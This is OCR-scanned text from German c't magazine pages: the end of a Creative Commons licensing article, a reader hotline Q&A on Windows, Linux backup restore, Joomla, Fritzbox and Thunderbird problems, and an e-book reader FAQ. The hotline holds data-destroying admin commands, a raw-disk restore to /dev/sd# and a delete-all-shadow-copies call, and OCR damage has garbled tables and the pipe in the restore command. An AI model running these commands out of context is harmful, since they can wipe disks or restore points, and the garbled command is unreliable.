schriftlich festhalten, um Ärger vorzubeugen. 

Die Entscheidung, ein Werk unter eine CC- 
Lizenz zu stellen, ist unwiderruflich - die aus- 
gewählte Lizenz darf man nicht wieder zu- 
rückziehen. Dies ergibt sich schon daraus, 
dass sich ein Nutzer, der unter Creative Com- 
mons stehende Bilder oder Texte verwenden 
will, darauf verlassen können muss, dass er 
dies auch dauerhaft kann und darf. Daher 
läuft eine einmal angewandte Lizenz bis zum 
Ende des urheberrechtlichen Schutzes, in 


der Regel also 70 Jahre nach dem Tode des 
Schöpfers. 


Auswahl der Lizenz 


Der Urheber kann unter sechs Lizenz-Ange- 
boten auswählen, von denen jeweils drei 
eine kommerzielle Nutzung erlauben und 
drei diese ausschließen. Die Lizenzen setzen 
sich aus Zwei-Buchstaben-Kürzeln zusam- 
men, die jeweils eine Eigenschaft der Lizenz 
darstellen und mit einem Bindestrich ver- 
knüpft sind. So steht NC etwa für Non Com- 
mercial (keine kommerzielle Nutzung) und 
ND für No Derivatives (keine Bearbeitung). 
Eine Übersicht über die Inhalte und 
Voraussetzungen der einzelnen Lizenzarten 
finden Sie in der Tabelle unten auf der Seite. 
Laut Creative-Commons-Organisation ist die 
„BY-SA" mit einem Anteil von rund 30 Pro- 
zent die am häufigsten verwendete Lizenz. 
Selten verwendet werden Angebote unter 
„BY-ND" und „BY-NC” mit jeweils unter 5 Pro- 
zent. Insgesamt erlauben etwa 60 Prozent 


Welche Creative-Commons-Lizenz für wen? 


Foto: Liz West, CC BY-2.0 


der Urheber eine kommerzielle Nutzung, 
75 Prozent ermöglichen eine Bearbeitung. 
Hat man eine Lizenz ausgewählt, muss 
man eine Kennzeichnung an oder neben 
dem Werk anbringen, in der die Details 
kodiert sind. Die Creative-Commons-Organi- 
sation bietet unter creativecommons.org/ 
choose einen Generator an, der nach Abfrage 
einiger Informationen eine der Lizenz entspre- 
chende Grafik samt Verlinkung erstellt. Aber 
auch die einfache Form der Kennzeichnung im 
Sinne von „Vorname Nachname, CC-BY-SA 3.0 
de” mit einem Link auf die entsprechende Li- 
zenz bei creativecommons.org ist erlaubt. 
Wer umgekehrt fremde Inhalte nutzen will, 
die unter einer CC-Lizenz veröffentlicht sind, 
steht vor der Entscheidung, welche Lizenzen 
für seine geplante Nutzung infrage kommen. 
Er muss sich insbesondere klar sein, ob er die 
Werke in einem kommerziellen Umfeld nut- 
zen und weiterbearbeiten will. 
Website-Betreiber beispielsweise verwen- 
den CC-lizenzierte Fotos oder Grafiken gerne 
zur Bebilderung. Wer jeden Ärger vermeiden 
will, sollte dabei auf die CC-BY-Vorlage set- 
zen, bei der nur der Schöpfer des Werks und 
die Art der Lizenz zu benennen sind. Unter 
search.creativecommons.org bieten die CC- 
Betreiber eine Suchmaschine, die Anbieter 
wie Flickr, YouTube oder Google gezielt nach 
CC-Werken durchsucht. Hier kann man ent- 
weder bereits bei der Suche die gewünschte 
Lizenzform angeben oder alternativ die Er- 
gebnisse entsprechend durchsehen. 
Flickr-Hobbyfotografin Liz West übrigens 
muss vorerst keine Ausbeutung ihrer Werke 
durch Yahoo befürchten. „Nach reiflicher Über- 
legung” entschied der Konzern Ende 2014, auf 
die geplante kommerzielle Verwertung der 
CC-Bilder seiner Nutzer zu verzichten. Der öf- 
fentliche Druck war zu groß geworden. Viel- 
mehr strebt Yahoo nun nach eigenen Angaben 
eine Zusammenarbeit mit Creative Commons 
an und wolle so an Lizenzen mitarbeiten, die 
dem Geist beider Communities entsprechen. 
Liz West hat diese Erklärung offensichtlich ge- 
nügt. Sie veröffentlicht ihre Fotos weiter unter 
einer freien CC-BY-2.0-Lizenz. (hob) 


Joerg Heidrich ist Justiziar und Datenschutz- 
beauftragter des Heise Zeitschriften Verlags. 


CCBY3.0 
Namensnennung (BY) 


Lizenz 
Bedeutung 


Lizenznehmer-Rechte 


Teilen, Vervielfältigen, Weiterverbreiten 
Weiterbearbeiten, Verändern v 
kommerzielle Nutzung we 
Lizenznehmer-Pflichten 

Nennung des Urhebers NG 
Nennung und Link zur Lizenz NG 
Angabe, ob bearbeitet worden ist v 


Weitergabe nur unter derselben Lizenz 
v vorhanden - nicht vorhanden 
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CCBY-ND3.0 


Namensnennung (BY), 
keine Bearbeitung (ND) 


CCBY-NC3.0 


Namensnennung (BY), 
nicht komerziell (NC) 


v v v 
- V - 
VG = = 
v v v 
v v v 
= v2 = 
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CCBY-NC-ND3.0 


Namensnennung (BY), 
nicht kommerziell (NC), 
keine Bearbeitung (ND) 


CCBY-NC-SA3.0 


Namensnennung (BY), 
nicht kommerziell (NC), 
Weitergabe unter gleichen 
Bedingungen (SA) 


CCBY-SA3.0 


Namensnennung (BY), 
Weitergabe unter gleichen 
Bedingungen (SA) 


v v 
v v 
= v 
v v 
v v 
v v 
v NG 


et 
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HOTLIN 


IHRE FRAGEN. 


Konkrete Nachfragen zu Beiträgen 

in der c't bitte an xx@ct.de (wobei „xx” für 
das Kürzel am Ende des Artikeltextes steht). 
Allgemeine Anfragen bitte an 
hotline@ct.de. 


Alle bisher in unserer Hotline veröffent- 
lichten Tipps und Tricks finden Sie unter 
www.ct.de/hotline. 


Sie erreichen unsere Redakteure jeden 
Werktag zwischen 13 und 14 Uhr unter der 
Rufnummer 0511/5352-333. 


Die Redaktion behält sich vor, 
Zuschriften gekürzt zu veröffentlichen. 


Protokoll für USB-Benutzung 


Ich möchte protokollieren, ob jemand in 
meiner Abwesenheit einen USB-Stick an 
meinen Windows-PC gesteckt hat - der USB- 
Port gilt ja seit den Bad-USB-Angriffen als ein 
Einfallstor für Schädlinge. Gibt es dafür Tools? 


Gibt es - einen Überblick über die in den 
letzten Wochen eingesteckten USB- 
Geräte liefert etwa das Windows-Tool 
USBDeview. Das Programm zeigt beispiels- 
weise an, an welchem USB-Port das Gerät 
steckte; auch bei externen USB-Hubs. Dazu 
gibt es Infos zur Firmware-Version, der Se- 
riennummer oder dem angeforderten Strom. 
Aber so kommen Sie vermutlich nur 
schlicht gestrickten Trojanern auf die Spur. 
Angreifer, die sich auf diesem Weg Zutritt zu 
Ihrem System verschafft haben, würden na- 
türlich auch solche Spuren verwischen. Bes- 
ser ist es daher, Tools wie den USB Keyboard 
Guard zu verwenden. Diese können einen 
Filter einrichten, der den Anschluss neuer 
USB-Geräte verhindert. (I) 


EE Downloads ct.de/yrm1 


Automatisches Update auf 
Windows 8.1 verhindern 


Microsoft aktualisiert seit Kurzem Win- 

dows-8-Installationen automatisch und 
ohne Rückfrage auf 8.1. In meinem Fall funk- 
tionieren seitdem einige Dinge nicht mehr, 
Classic Shell ist deaktiviert und so weiter. 
Daher will ich dieses Update nicht. Ich habe 
nun ein Windows-8-Backup eingespielt, 
dann die Update-Einstellungen defensiv ein- 
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gestellt („Nach Updates suchen, aber Zeit- 
punkt zum Herunterladen und Installieren 
manuell festlegen‘) und die Updates 
KB2871389 und KB2885699 entfernt. Ist das 
der richtige Weg? 


Bedenken Sie zunächst, dass Microsoft 
den Support für Windows 8 im Novem- 
ber 2015 einstellen wird. Danach sollten Sie 
die Online-Verbindung kappen, denn Win- 
dows 8 wird dann wie Windows XP zu einem 
Unsicherheitsfaktor. 
Bis dahin sollte es helfen, wenn Sie in der 
Registry unter 


Hkey_Local_Machine\Software\Policies\Microsoft\Windows 
Store 


einen neuen DWORD-Schlüssel 
DisableOSUpgrade mit Wert 1 erzeugen. 


namens 
(axv) 


Wiederherstellung aus 
einem EWF-Backup 


Ich habe vor Reparaturversuchen an 

einem Laptop, der nicht mehr startete, 
ein Backup der Festplatte mit dem Guy- 
mager von der Forensik-DVD aus c't 20/14 
im Expert-Witness-Format angelegt. Nun 
finde ich aber keine Restore-Software, die 
das Backup-Format versteht. Was tun? 


Leider ist EWF nur die zweitbeste Wahl 
beim Backup. Besser wäre es gewesen, 
dd einzusetzen, aber gut ... Es gibt mehrere 
Lösungsansätze für das Problem, einer der 
einfachsten sieht so aus: Man konvertiert 
die Image-Dateien mit dem Tool ewfexport in 
das dd-Raw-Format und spielt die neue 
Image-Datei mittels dd oder dcfldd zurück. 
Das sind normalerweise zwei Vorgänge. 
Man kann sie jedoch so zusammenfassen: 


ewfexport image.EO* -f raw -t - ! defldd of=/dev/sd# 


Das ist ein Befehlsmuster, mit dem sich die 
Backup-Dateien konvertieren und zugleich 
auf die Zielplatte schreiben lassen. Damit 
der Befehl auf Ihrem System funktioniert, er- 
setzen Sie das Doppelkreuz durch die Be- 
zeichnung Ihrer Zielfestplatte. Wenn auf 
dem Laptop nur eine einzige Festplatte ein- 
gebaut ist, steht an dieser Stelle üblicher- 
weise sda. (Heiko Rittelmeier/ju) 


Zugriff auf Youronlinechoices. 
com wieder herstellen 
Facebook und andere Firmen analysie- 
ren für „nutzungsbasierte Online-Wer- 


bung“ mein Surfverhalten. Das wollte ich 
durch einen Eintrag auf www.youronline 
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choices.com/de/ unterbinden. Viele Verbin- 
dungsversuche scheitern jedoch - warum? 


Das liegt oft an überlasteten Servern der 

Anbieter, kann aber auch von einem 
Werbeblocker wie AdBlock Plus verursacht 
werden. Schalten Sie den in Ihren Browser- 
Einstellungen ab, damit die Seite den erfor- 
derlichen Widerspruchs-Cookie setzen kann. 
Anschließend können Sie die Erweiterungen 
wieder einschalten. (dbe) 


Superuser-Rechte auf Cyanogen- 
Mod wiederherstellen 
Bei meinem Smartphone mit Cyanogen- 
Mod hatte ich einen Einstellungspunkt 
„Superuser“. Dann habe ich nur die Super- 
user-Rechte ausgeschaltet, aber der ganze 
Menüpunkt verschwand daraufhin. Wie 


kann ich die Superuser-Verwaltung wieder 
aktivieren? 


Öffnen Sie dazu die Entwickleroptionen, 
dort finden Sie den Punkt Root-Zugriff. 
Wählen Sie einen der drei unteren Punkte 


to! Einstellungen 
Dar 


(®) Threema 


&®. TripAdvisor 


8) WhatsApp 


+ Konto hinzufügen 


SYSTEM 


(D Datum & Uhrzeit 


W- Bedienungshilfen 


Drucken 
Entwickleroptionen 
Superuser 
Leistung 

Über das Telefon 


Falls der Superuser-Eintrag im Cyanogen- 
Mod-Menü fehlen sollte, lässt er sich über 
die Entwickleroptionen reaktivieren. 
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und „Superuser” sollte wieder in den Einstel- 
lungen erscheinen. 

Falls schon die Entwickleroptionen fehlen: 
Öffnen Sie „Einstellungen“, „Über das Tele- 
fon“ und tippen Sie dort mehrmals auf 
„Build-Nummer”, bis die Meldung erscheint, 
dass Sie nun Entwickler sind. Kehren Sie im 
Menübaum eine Ebene zurück und nun 
sehen Sie unten in den Einstellungen den 
neuen Menüpunkt. Da aktivierte Entwickler- 
optionen das Sicherheitsrisiko erhöhen, soll- 
ten Sie diese nach dem Aktivieren des Super- 
users umgehend wieder ausschalten - den 
Ausschalter finden Sie in den Entwickler- 
optionen ganz oben. (jow) 


c’t-WIMage und 
Wiederherstellungspunkte 


In der FAQ zu c’t-WIMage (c't 2/15, 

S. 110) steht, dass man nach einem ver- 
sehentlichen Abbruch des Skripts mit dem 
Befehl vshadow -da die dann übrig gebliebenen 
Schattenkopie-Laufwerke löschen kann. 
Auch Wiederherstellungspunkte sind jedoch 
Schattenkopien. Sind diese also beim Einsatz 
von c't-WIMage gefährdet? 


Das Skript löscht bei ordnungsgemäßem 
Durchlauf nur das von ihm selbst erzeug- 


te Schattenkopie-Laufwerk. Die Wiederher- 
stellungspunkte bleiben beim Sichern mit c't- 
WIMage erhalten. Bei versehentlichem Ab- 
bruch kann es aber vorkommen, dass das 
Schattenkopie-Laufwerk eingebunden bleibt. 
Für diesen speziellen Fall gab die FAQ den Rat, 
die Schattenkopien von Hand zu löschen - lei- 
der ohne dabei zu erwähnen, dass das eben 
auch die Wiederherstellungspunkte löscht. 

Das Schattenkopie-Laufwerk können Sie 
aber auch einzeln löschen. Öffnen Sie dazu 
im Stammverzeichnis der USB-Datenparti- 
tion die vom Skript erzeugte Datei vshadow- 
temp.cmd per Rechtsklick/Bearbeiten mit dem 
Editor. Kopieren Sie die ID inklusive der ge- 
schweiften Klammern. Sie steht hinter der 
Zeichenkette SET SHADOW_ID_1=. 

Starten Sie eine Eingabeaufforderung, die 
administrative Rechte gewährt. Löschen Sie 
dann mit dem Befehl 


vshadow -ds={ID} 


das Schattenkopie-Laufwerk. (axv) 


Thunderbird zeigt 
E-Mails nicht an 


Mein Thunderbird zeigt neuerdings neue 
E-Mails nur dann an, wenn ich den 
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Schnellfilter „Nur ungelesene” aktiviere. Wie 
kann ich das beheben? 


Anscheinend ist die Zusammenfassungs- 
datei Ihres Thunderbird fehlerhaft. Der 
Mailer kann jedoch eine neue fehlerfreie er- 
zeugen. 
Rufen Sie dazu mit einem Rechtsklick auf 
„Posteingang“ dessen Eigenschaften auf. Im 
Reiter „Allgemein“ finden Sie unten die 


‚ Allgemein | Speicherplatz | Synchronisation | Freigabe | Kontingent 


Name des Ordners: | Posteingang] 
Adresse: | imap://akr@imap.heise.de/INBOX 
Anzahl der Nachrichten: 12 Größe auf Datenträger: 58,9 KB 


| Nachrichten dieses Ordners für die globale Suche indizieren 


Standard-Zeichenkodierung | Westlich (ISO-8859-15) 


Standard allen Nachrichten im Ordner zuweisen (individuelle 
Zeichenkodierung und autom. Bestimmung werden ignoriert) 


Die Zusammenfassungsdatei (*.msf) wird manchmal 
beschädigt, dadurch fehlen scheinbar Nachrichten 
oder gelöschte Nachrichten werden weiterhin 
aufgelistet. Reparieren der Zusammenfassungsdatei 
kann die Probleme meist beheben. 


Reparieren 


Abbrechen 


Wenn Thunderbird ungelesene Mails 
nicht mehr anzeigt, hilft es meist, die 
Zusammenfassungsdatei reparieren 
zu lassen. 
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Schaltfläche „Reparieren“. Sie stellt die MSF- 
Datei mit der Zusammenfassung aus den 
Kopfzeilen der eingegangenen IMAP-Mails 
wieder her und ermöglicht damit wieder die 
korrekte Darstellung im Posteingang. (axv) 


Verschwundenen Mauszeiger 
zurückholen 


Auf meinem Dual-Monitor-System ver- 

schwindet gelegentlich der Mauszeiger 
auf dem linken Bildschirm, wenn ich Win- 
dows 8.1 einsetze. Die Desktop-Elemente las- 
sen sich zwar weiterhin anklicken, aber ich 
sehe nicht, was ich anklicke. Mit einem Neu- 
start lässt sich das zwar beheben, aber das ist 
unpraktisch. Gibt es auch andere Abhilfe? 


Zumindest manchmal lässt sich der Dar- 

stellungsfehler tatsächlich auch ohne 
Neustart beheben: Wechseln Sie einfach kurz 
auf die Startseite und wieder zurück zum 
Desktop. Drücken Sie dazu entweder die 
Windows-Taste oder führen Sie die Maus zu- 
nächst nach links unten in die Ecke des Desk- 
tops. Wenn Sie den Punkt getroffen haben, 
sollte das Icon für den Kachelmodus erschei- 
nen. 

Wechseln Sie dann auf das Modern UI (frü- 
her Metro-Oberfläche genannt), indem Sie 
darauf klicken. Wird der Mauszeiger dort wie- 
der sichtbar, können Sie wie üblich zum 
Desktop zurückschalten. (I) 


Joomla-CMS: Upgrade auf 
Version 3 in Gang bringen 


Der Support-Zeitraum für Joomla 2.5.x ist 

kürzlich abgelaufen und daher wollte ich 
das Upgrade auf Joomla 3 über die entspre- 
chende Funktion des Admin-Backends an- 
stoßen. Joomla zeigt mir jedoch kein Update 
an und behauptet, aktuell zu sein. 


Um der Joomla-Update-Funktion auf die 
Sprünge zu helfen, rufen Sie im Backend 
den Erweiterungsmanager auf und wechseln 


zu „Aktualisieren“. Leeren sie zunächst über 
die Schaltfläche oben rechts den Cache. 
Zeigt das Backend nach einem Klick auf 
„Aktualisierungen suchen“ noch immer kein 
Update an, wechseln Sie über Komponen- 
ten/Joomla-Aktualisierung zur Update-Kom- 
ponente und öffnen rechts oben die Optio- 
nen. Wählen Sie dort unter „Update-Quelle“ 
den Eintrag „Kurzzeit-Support“, dann sollte 
Joomla das Upgrade auf Joomla 3.x anzei- 
gen. Per Klick auf „Aktualisierung installie- 
ren” sollten Sie das Upgrade nun einspielen 
können. (Imd) 


Festplatten trotz TLER-Funktion 
einzeln betreiben 


Die leisen und sparsamen Festplatten 

der Baureihe WD Red finde ich als große 
Datenlager attraktiv. Jedoch sind sie für 
RAID beziehungsweise NAS gedacht und 
haben daher eine Time-Limited Error Reco- 
very (TLER), welche die Anzahl der Lesever- 
suche bei fehlerhaften Sektoren beschränkt. 
Sind sie dennoch für den Einzelbetrieb ge- 
eignet? 


Die Frage ist berechtigt, denn Datenver- 

luste sind bei TLER-Platten tatsächlich ein 
winziges Bisschen wahrscheinlicher, weil 
diese bei Bitfehlern Lesewiederholungen frü- 
her abbrechen müssen als übliche Platten. 
Das ist eine eigens für RAID-Systeme geschaf- 
fene Funktion, damit eine Platte vom RAID- 
Controller nicht fälschlicherweise als defekt 
eingestuft wird, bloß weil sie wegen Lesever- 
suchen zu lange nicht ansprechbar ist. 

Wenn nun eine TLER-Platte bei einem Pro- 
blem trotz Lesewiederholungen nicht wei- 
terkommt und einen Fehler meldet, ist das in 
einem RAID-Szenario nicht schlimm. Der 
Controller holt die Daten aus dem redundan- 
ten Bestand anderer Laufwerke. Läuft eine 
solche Platte aber als Einzellaufwerk, sind die 
Daten des defekten Sektors verloren - falls 
Sie kein Backup angelegt haben. 

Aber im Prinzip kann man das Risiko den- 
noch eingehen und eine Platte mit TLER- 


Administration X Joomlal' 


Site Benutzer Menüs Inhalt Komponenten Erweiterungen Hilfe 


Joomla!-Aktualisierung 


Es wurde eine neue Joomlal-Aktuallsierung gefunden 


Insta 


Aktu 3.3.6 


Upci 
Installationsmethode Dateien direkt schreiben J 


Aktualisierung installieren 


Joomla! 2.5.24 


 0Besucher M& 1 Admin =“ 0 MW Vorschau (D Abmelden 


f +» 
AB P4« 
Optionen | Hilfe 


RL httpsyigithub.com/joomlajoomla-cms/releases/download/3.3.6/Joomla_3.3.6-Stable-Update_Package.zip 


Joomial® ist freie, unter der GNU/GPL-Lizenz, veröffentlichte Software. 


Ist der Cache geleert und die Update-Quellenangabe korrekt, lässt sich 
Joomla 2.5.x bequem übers Backend auf Version 3 aktualisieren. 
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Funktion etwa in einem Desktop-PC für den 
Einzelbetrieb einsetzen. Denn die Wahr- 
scheinlichkeit, dass eine Platte einen Sektor 
nicht mehr auslesen kann, ist sehr gering. 
Darauf deutet schon die Herstellerangabe 
zur Unrecoverable Bit Error Rate, UBER, hin: 
Das ist die maximale Rate an nicht lesbaren 
Bits bei einer intakten Festplatte. Bei übli- 
chen SATA-Festplatten tritt demnach höchs- 
tens 1 Fehler pro 10'* gelesenen Bit auf. 

Hinzu kommt, dass die Wahrscheinlichkeit 
für andere Störungen, die zu Datenverlusten 
führen können, höher liegen dürfte (Strom- 
ausfälle, mechanische Stöße, Kabelfehler, 
Ausfall der kompletten Platte, ...). 

Und falls doch einmal der unwahrschein- 
liche Fall auftreten sollte, dass Sie kein ak- 
tuelles Backup haben und zugleich eine 
TLER-Platte einen Lesefehler meldet, müssen 
Sie bei manchen Modellen noch immer nicht 
aufgeben. Es gibt NAS-Platten, bei denen 
sich TLER abschalten lässt (siehe heise.de/ 
-2056245). Das merkt sich die Firmware einer 
\WD Red zwar nicht dauerhaft, aber Sie könn- 
ten die TLER-Abschaltung während des Laufs 
immerhin verwenden, um die Chance für ein 
letztes Backup zu erhöhen. (ciw) 


Fritzbox: Gesprächsaussetzer 
bei VPN-Verbindung vermeiden 


An meiner Fritzbox treten seit einiger 

Zeit immer wieder heftige Gesprächs- 
aussetzer auf, sodass ich teilweise das 
Gegenüber gar nicht mehr verstehen kann. 
Sie ist nebenher per VPN mit einer anderen 
Fritzbox verbunden und als ich den VPN- 
Dienst testweise abgeschaltet hatte, traten 
bei Test-Telefonaten keine Aussetzer mehr 
auf. Ich brauche VPN aber - was kann ich 
tun, damit beide Dienste reibungslos 
laufen? 


Offenbar behindern sich die beiden 

Dienste gegenseitig, weil die Fritzbox 
den Verkehr nicht mehr korrekt priorisiert. 
Der Telefonieverkehr sollte gegenüber dem 
VPN und auch anderen Diensten grundsätz- 
lich Vorrang haben. 

Das lässt sich per Hand wieder einrichten, 
und zwar im Menü Internet/Filter/Priorisie- 
rung. Stellen Sie sicher, dass im Bereich 
„Echtzeitanwendungen“ der Eintrag „Inter- 
nettelefonie” vorhanden ist. Eventuell hilft es 
auch, wenn Sie einen vorhandenen Eintrag 
löschen und dann neu anlegen. 

Falls beides nicht hilft: Weisen Sie dem 
VPN-Verkehr eine niedrigere Priorität zu. 
Legen Sie dafür im Bereich „Hintergrund- 
anwendungen” eine neue Regel für VPN an 
(Neue Regel/Alle Geräte/VPN). (dz) 


Android Studio den Weg 
zum Java-SDK zeigen 


Ich wollte das kürzlich veröffentlichte 
Android Studio 1.0 zur Entwicklung eige- 
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No JVM installation found. Please install a 64-bit JDK. 


If you already have a JDK installed, define a JAVA_HOME variable in Computer > 


System Properties > System Settings > Environment Variables. 


ner Smartphone-Apps ausprobieren. Der 
Programmstart scheiterte aber, weil Android 
Studio das Java Development Kit nicht fand. 
Ich habe es aber installiert und auch den zu- 
gehörigen Pfad in der Umgebungsvariable 
JAVA_HOME eingetragen. 


Bei der Pfadangabe fehlt der abschlie- 

ßende Backslash. Den liefert beispiels- 
weise der Windows-Explorer nicht mit, wenn 
man den Pfad mit Copy und Paste aus den 
Ordner-Eigenschaften einfügt. Setzen Sie 
den Backslash per Hand ein, dann sollte An- 
droid Studio laufen. (tig) 


WLAN-Clients auf einen AP 
einer Gruppe festnageln 
Für eine WLAN-Installation in einem 


Flugzeug mit drei Access Points und 
identischer SSID müssen wir für Testzwecke 


Beim Anlegen der 
Umgebungsvariablen 
für Android Studio 
darf im Pfad der ab- 
schließende Backslash 
nicht fehlen. 


sicherstellen, dass über einen längeren Zeit- 
raum nachweisbar Daten übertragen wer- 
den. Wir wollen dafür drei Clients so präpa- 
rieren, dass sie sich garantiert nur an einem 
bestimmten AP anmelden und da auch blei- 
ben. Haben Sie eine Idee, wie man das errei- 
chen könnte? 


Unter Linux können Sie für eine WLAN- 

Verbindung die gewünschte BSSID 
(WLAN-seitige MAC-Adresse des AP) vorge- 
ben. Das geht beispielsweise bei Opensuse 
13.2 (KDE/Wicked) und Ubuntu 14.10 
(Gnome/Network Manager). 

Unter Windows 7 oder 8 hängts vom 
Funkmodul ab: Bei Intel-Adaptern können 
Sie in den Einstellungen der WLAN-Verbin- 
dungen die „Intel-Verbindungseinstellun- 
gen“ aktivieren. Dann legen Sie über den 
„Konfigurieren”-Knopf die gewünschte 
BSSID als „Obligatorischer Zugriffspunkt” 
fest. (ea) 
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Router bremst Owncloud 


Ich betreibe einen Owncloud-Server zu 

Hause. Die Synchronisation im lokalen 
Netz läuft aber mit nur etwa 3 MByte/s ab. 
Müsste das über Gigabit-Ethernet nicht viel 
schneller laufen? 


Vermutlich sprechen Sie den Owncloud- 

Server auch im lokalen Netz über den 
URL Ihres DynDNS-Dienstes an. Dabei fließen 
die Daten aus Ihrem privaten Netz im Prinzip 
zunächst ins öffentliche Internet, nämlich an 
die öffentliche IP-Adresse Ihres Routers, und 
von dort erst wieder zurück in Ihr LAN. 

Dabei läuft im Router automatisch eine 
Network Address Translation ab, mit der Ihr 
Gerät offenbar überfordert ist; es schreibt 
beispielsweise für jedes IP-Paket die Ziel-IP- 
Adresse von der öffentlichen auf die private 
Adresse um und leitet die Pakete dann erst 
zu Ihrem Server im LAN weiter. Wenn Sie im 
Browser oder Owncloud-Client anstatt der 
DynDNS-Adresse den lokalen Rechnernamen 
oder die private IP-Adresse ihres Owncloud- 
Servers angeben, fällt die Network Address 
Translation weg. Das Synchronisieren Ihrer 
Daten sollte dann wesentlich schneller lau- 
fen. Wenn Sie mit dem Client das LAN verlas- 
sen, müssen Sie wieder die DynDNS-Adresse 
verwenden. (chh) 
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Praxis | FAQ 


Shops und Reader 


Wie stark bindet man sich beim Kauf 
eines E-Book-Readers an das Lesestoff- 
Angebot des Anbieters? 


Kostenlose E-Books kann man kinder- 
leicht für jeden Reader konvertieren und 
per USB überspielen. Die meisten Kaufbücher 
sind dagegen mit einem der zwei verbreiteten 
Kopierschutzsysteme versehen: Amazon hat 
für seinen E-Book-Shop ein eigenes, dasr nur 
mit dem Kindle und den Kindle-Apps kompa- 
tibel ist. Alle anderen Hersteller verwenden 
DRM-Technik (Digital Rights Management) 
von Adobe, weshalb man bei Tolino, Pocket- 
book und Co. etwas freier ist; man kann im 
Prinzip in allen Shops außer dem von Amazon 
einkaufen. Das gilt auch für den Kobo: Zwar 
setzt der Hersteller auf ein eigenes Kopier- 
schutzformat, aber sowohl die Reader als 
auch der Shop von Kobo unterstützen dar- 
über hinaus Adobe DRM und sind damit mit 
anderen Shops und Lesegeräten kompatibel. 
Einen besonderen Ansatz hat die Reader- 
Allianz Tolino, deren Lesegeräte von ver- 
schiedenen E-Book-Händlern verkauft wer- 
den. Direkt auf dem Gerät ist immer der Shop 
des Anbieters integriert, bei dem man den 
Reader gekauft hat, zum Beispiel Thalia oder 
Hugendubel. Man kann den Tolino aber auch 
mit den Nutzerkonten der anderen Tolino- 
Händler verknüpfen: Dann synchronisiert der 
Reader auch solche E-Books, die man in an- 
deren Shops gekauft hat. 


Kindle ohne Amazon 


Kann ich einen Kindle auch ohne Ama- 
zon benutzen? 


Ja, das geht. Man kann kopierschutzfreie 

E-Books per USB auf den Kindle laden, 
ohne jemals darauf ein Amazon-Konto ein- 
gerichtet zu haben. Allerdings gehen da- 
durch viele Komfortfunktionen des Kindle 
verloren: das umfangreiche Angebot des 
Kindle-Shops und das Synchronisieren von 
E-Books und Lesefortschritt zwischen unter- 
schiedlichen Geräten zum Beispiel. 


Herstellerbindung 

bei anderen Readern 
Wie sieht es bei den übrigen Anbietern 
aus? Kann ich deren Reader ebenfalls 


benutzen, ohne mich an den Hersteller zu 
binden? 
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Achim Barczok 


E-Book-Reader 


Antworten auf die häufigsten Fragen 


Auch das ist möglich, bis auf eine Aus- 

nahme: Die Kobo-Reader müssen zwin- 
gend mit einem Nutzerkonto beim Hersteller 
verknüpft werden. Die übrigen Lesegeräte 
lassen sich auch ohne Anmeldung nutzen, al- 
lerdings fallen dann wie beim Kindle einige 
Funktionen weg und ohne Anmeldung bei 
Adobe kann man keine kopiergeschützten 
Bücher lesen. 


Bibliothek verschieben 


Ich habe einen neuen E-Book-Reader. 
Wie bekomme ich meine bestehende 
Sammlung aufs neue Gerät? 


E-Books ohne Kopierschutz können Sie 

ganz einfach per USB vom alten Reader 
auf einen PC und von dort auf das neue Le- 
segerät übertragen. 

Bei kopiergeschützten E-Books ist es am 
einfachsten, wenn Sie auf ein neueres Mo- 
dell vom selben Hersteller umsteigen. Viele 
Anbieter wie Amazon, Kobo und Tolino syn- 
chronisieren E-Books mit mehreren Geräten 
über die Cloud, deshalb müssen Sie sich 
zum Umzug lediglich mit Ihrem bestehen- 
den Nutzerkonto auf dem neuen Reader an- 
melden. Einige Reader synchronisieren aller- 
dings nur die im eigenen Shop gekauften 
E-Books - die übrigen müssen Sie dann per 
USB nachholen. 

Wenn die Reader von unterschiedlichen 
Herstellern stammen, aber beide den Kopier- 
schutz Adobe DRM unterstützen, nutzen Sie 
am besten ebenfalls USB. Öffnen können Sie 
die kopiergeschützten Bücher auf dem 
neuen Lesegerät aber erst, wenn Sie sich mit 
Ihrem bestehenden Adobe-Konto darauf an- 
gemeldet haben. 

Der Wechsel von Kindle zu den Readern 
anderer Hersteller und umgekehrt ist nicht 
vorgesehen: Die in den jeweiligen Shops ge- 
kauften E-Books müssen Sie neu kaufen - 
oder den Kopierschutz entfernen, was in 
Deutschland nicht erlaubt ist. 


Deutscher Lesestoff 


Ich lese eigentlich nur deutschsprachige 

Bücher. Gibt es da beim Angebot oder 
den Preisen überhaupt noch große Unter- 
schiede zwischen den Shops? 


Die Preise sind aufgrund der Buchpreis- 
bindung überall gleich und inzwischen 
sind eigentlich alle Shops gut sortiert. Im 
c't-Test gab es lediglich im Kobo-Shop deut- 
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liche Lücken im deutschsprachigen Ange- 
bot. 

Es gibt aber auch einen kleinen, qualitati- 
ven Unterschied: Bei Amazon und Kobo sind 
grundsätzlich alle kostenpflichtigen E-Books 
kopiergeschützt, was die Nutzung ein- 
schränkt (unter anderem keine Weitergabe, 
kein Konvertieren und kein Drucken mög- 
lich). Bei den übrigen Shops entscheidet der 
Verlag selbst, ob er seine E-Books mit DRM 
versieht oder nicht - aus unserer Stichprobe 
wurden dort immerhin 20 Prozent der 
deutschsprachigen Bestseller ohne DRM- 
Maßnahmen ausgeliefert. 


Englischer Lesestoff 


Ich lese gerne englische Bücher und er- 

hoffe mir über den E-Book-Reader einen 
günstigen Zugang zu einem großen Lese- 
stoff-Angebot. Welcher Reader ist der rich- 
tige für mich? 


Das größte Angebot und die günstigsten 

Preise für englischsprachige Lektüre bie- 
tet der Kindle. Bei den übrigen Shops kön- 
nen allenfalls noch Kobo und ebook.de mit- 
halten, wobei die Preise teils deutlich über 
denen der Kindle-Bücher liegen. 


Ohne Kreditkarte und Konto 


Ich möchte meiner Tochter einen Reader 

schenken, aber das Kaufen von E-Books 
reglementieren - am liebsten über ein fest 
definiertes Guthaben. Mit welchen Readern 
geht das? 


Das geht mit den Kindle- und den 

Tolino-Readern. Bei beiden können Sie 
auf das Nutzerkonto per Gutscheinkarte des 
jeweiligen Shops einen festen Betrag laden, 
von dem Neueinkäufe abgebucht werden. 


Fernlöschen durch Hersteller 


Amazon hat in der Vergangenheit ein- 

zelne E-Books von den Readern seiner 
Nutzer gelöscht. Ist das auch bei den Rea- 
dern anderer Hersteller denkbar? 


Rein technisch ist das bei allen Readern 
möglich, die über ein Nutzerkonto und 
WLAN mit dem Hersteller verbunden sind. 
Uns sind aber bei anderen Lesegeräten keine 
Fälle bekannt - und auch bei Amazon ist der 
letzte Fall zwei Jahre her. (acb) 
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Prüfstand | App-Entwicklungswerkzeug 


Jörg Neumann 


Drei in eins 


Die App-Entwicklungsumgebung Xamarin 


